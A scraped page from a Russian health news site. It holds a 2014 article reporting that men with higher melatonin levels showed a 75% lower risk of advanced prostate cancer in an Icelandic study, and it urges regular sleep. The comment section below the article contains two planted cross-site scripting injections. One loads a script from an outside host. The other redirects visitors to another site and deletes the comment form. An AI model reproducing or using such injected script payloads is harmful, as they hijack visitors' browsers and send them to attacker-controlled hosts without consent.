Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Уложите мужа спать и спас...  >>  Уложите мужа спать и спасите его от рака
 
Обратная связь
 

Уложите мужа спать и спасите его от рака

Размер шрифта
29 июля 2014 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

Повлиять на развитие рака простаты, которого так страшатся многие мужчины, теперь в наших силах. Достаточно вовремя ложиться спать! Оказалось, что соблюдение режима сна снижает риск развития этой грозной болезни, в то время как бессонница – повышает.

Уложите мужа спать и спасите его от рака

Согласно данным, представленным на конференции по изучению рака предстательной железы, высокий уровень мелатонина (гормона, участвующего в регуляции сна и бодрствования) связан со снижением риска развития рака простаты.

Мелатонин – это гормон, который образуется исключительно в ночное время и является важным участником так называемых циркадных ритмов – 24-часовых «внутренних часов» организма. Многие биологические процессы регулируются циркадными ритмами, к примеру, цикл сон-бодрствование. Мелатонин, помимо прочего, играет важную роль в контроле уровня других гормонов, которые в свою очередь участвуют в развитии некоторых опухолей (например, рака груди и простаты).

«Нарушения сна и некоторые другие факторы могут влиять на образование мелатонина или даже полностью его блокировать. Проблемы со здоровьем, связанные с низким уровнем мелатонина, нарушениями сна и циркадных ритмов, встречаются отнюдь нередко; к ним относится и возможный риск развития рака», – говорит Сара Маркт, аспирант отдела эпидемиологии Гарвардской школы общественного здоровья в Бостоне. «Мы обнаружили, что мужчины с более высоким уровнем мелатонина имеют на 75% меньший риск развития рака предстательной железы по сравнению с мужчинами, у которых уровень этого гормона низок».

«Наши результаты нуждаются в дальнейшей проверке, однако они подтверждают всю важность соблюдения стабильного режима сна и бодрствования, – добавляет Маркт, – Так как уровень мелатонина возможно изменить, необходимы дальнейшие исследования гормона, риска развития рака простаты и его прогрессии».

В поисках связи между уровнем мелатонина и раком простаты Маркт с коллегами измерили концентрацию основного продукта обмена оного гормона (6-сульфатоксимелатонина) в моче у 928 исландских мужчин из Рейкъявика. У каждого испытуемого брали на анализ утреннюю порцию мочи, а также каждый из них должен был заполнить опросник о режиме сна.

Ученые обнаружили, что каждый седьмой мужчина предъявлял жалобы на нарушение засыпания, каждый пятый – на проблемы в течение сна, каждый третий принимал снотворные препараты. У мужчин с вышеуказанными нарушениями сна был выявлен значительно более низкий уровень 6-сульфатоксимелатонина, чем у мужчин без таких проблем.

У 111 мужчин, участвовавших в исследовании, был обнаружен рак простаты, причем у 24 – на поздней стадии. При этом было показано, что у мужчин, чей уровень 6-сульфатоксимелатонина был выше средних значений, риск развития распространенного рака простаты был снижен на 75%. «Необходимы дальнейшие исследования, в которых будут изучено влияние длительности сна, его нарушений и уровня мелатонина на риск развития рака предстательной железы», – добавляет Маркт.

Таким образом, всем, а мужчинам в особенности, очень важно следить за поддержанием правильного режима сна, а также бороться с привычкой засиживаться до поздней ночи.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 18:35

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 22:32

Цитировать   |   Пожаловаться

-->> window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Какой напиток не позволит вам ослепнуть?!   Узнайте, будет ли у вас рак в течение 10 лет   Обрезание после 35 лет предотвратит рак простаты! Осталось только найти желающих...   На что слетаются мухи? Оказывается, на рак!  
23 июля 2013Из лысых крыс сделают лекарство от рака 11 июля 2013Ворочаетесь по ночам? У вас в два раза больше шансов умереть раньше!
 
09 июля 2013Майкл Дуглас заболел раком гортани из-за орального секса! Как дальше жить? 03 июня 2013Недосып лечит депрессию. Сколько спать, чтобы не сойти с ума?
 

Слайдшоу

1
Что можно и чего нельзя с изжогой?
Бронхит: лицом к лицу
Еда против рака. Часть 2

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.